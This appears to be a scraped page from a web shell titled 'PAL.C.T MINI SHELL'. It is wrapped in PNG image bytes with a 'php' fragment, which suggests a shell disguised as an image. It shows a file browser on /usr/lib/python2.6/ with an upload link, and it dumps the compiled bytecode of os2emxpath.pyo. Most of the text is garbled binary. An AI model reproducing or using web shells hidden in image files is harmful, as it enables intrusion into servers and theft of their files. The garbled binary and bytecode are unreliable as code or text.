php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/
upload
files >> //usr/lib/python2.6/os2emxpath.pyo

Lc'@s_dZddkZddkZddkTddklZlZlZlZl	Z	l
Z
lZlZddddd	d
ddd
ddddddddddddddddddd d!d"d#d$d%d&d'g#Z
d(Zd)Zd(Zd*Zd+Zd,Zd-Zd.Zd/Zd0Zd1Zd2Zd3ZeZd4Zd5Zd6ZeZ e!Z"dS(7sCommon pathname manipulations, OS/2 EMX version.

Instead of importing this module directly, import os and refer to this
module as os.path.
iN(t*(t
expandusert
expandvarstisabstislinkt
splitdrivetsplitexttsplittwalktnormcaseRtjoinRRRtbasenametdirnametcommonprefixtgetsizetgetmtimetgetatimetgetctimeRtexiststlexiststisdirtisfiletismountRRRtnormpathtabspathtsplitunctcurdirtpardirtseptpathseptdefpathtaltseptextseptdevnulltrealpathtsupports_unicode_filenamest.s..t/s\t;s.;C:\bintnulcCs|iddiS(sZNormalize case of pathname.

    Makes all characters lowercase and all altseps into seps.s\R%(treplacetlower(ts((s /usr/lib/python2.6/os2emxpath.pyR	#scGsl|}x_|D]W}t|o
|}q
|djp|ddjo||}q
|d|}q
W|S(s=Join two or more pathname components, inserting sep as neededtis/\:R%(R(tatptpathtb((s /usr/lib/python2.6/os2emxpath.pyR
,s

cCs|dd!djod|fS|dd!}|d	jp
|d
jo|t|}|idd}|djod|fS|id|d}|djot|}n|| ||fSd|fS(s@Split a pathname into UNC mount point and relative path specifiers.

    Return a 2-tuple (unc, rest); either part may be empty.
    If unc is not empty, it has the form '//host/mount' (or similar
    using backslashes).  unc+rest is always the input path.
    Paths containing drive letters never have an UNC part.
    iit:R+iR%s\is//s\\(R	tfindtlen(R-tfirstTwotnormptindex((s /usr/lib/python2.6/os2emxpath.pyR:s


cCst|dS(s)Returns the final component of a pathnamei(R(R-((s /usr/lib/python2.6/os2emxpath.pyRXscCst|dS(s-Returns the directory component of a pathnamei(R(R-((s /usr/lib/python2.6/os2emxpath.pyR_scCsUt|\}}|o|djSt|d}t|djo|ddjS(s?Test whether a path is a mount point (defined as root of drive)R+R%s\iis/\(R+R%s\(RRR2(R.tunctrestR-((s /usr/lib/python2.6/os2emxpath.pyRms
cCsj|idd}t|\}}x*|d djo|d}|d}q'W|id}d}x|t|jo||djo||=qi||djoB|djo5||ddjo ||d|d5|d}qi||djo-|djo ||ddjo||=qi|d}qiW|o|o|idn|di|S(	s0Normalize path, eliminating double slashes, etc.s\R%iiR$s..R+(R+s..(R(RRR2tappendR
(R.tprefixtcompsti((s /usr/lib/python2.6/os2emxpath.pyRxs*
33cCsVt|p?t|toti}n
ti}t||}nt|S(s%Return the absolute version of a path(Rt
isinstancetunicodetostgetcwdutgetcwdR
R(R.tcwd((s /usr/lib/python2.6/os2emxpath.pyRs
(#t__doc__R>tstattgenericpathtntpathRRRRRRRRt__all__RRR RRRRR!R	R
RRRRRRRRR"tFalseR#(((s /usr/lib/python2.6/os2emxpath.pyt<module>s:
:									
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`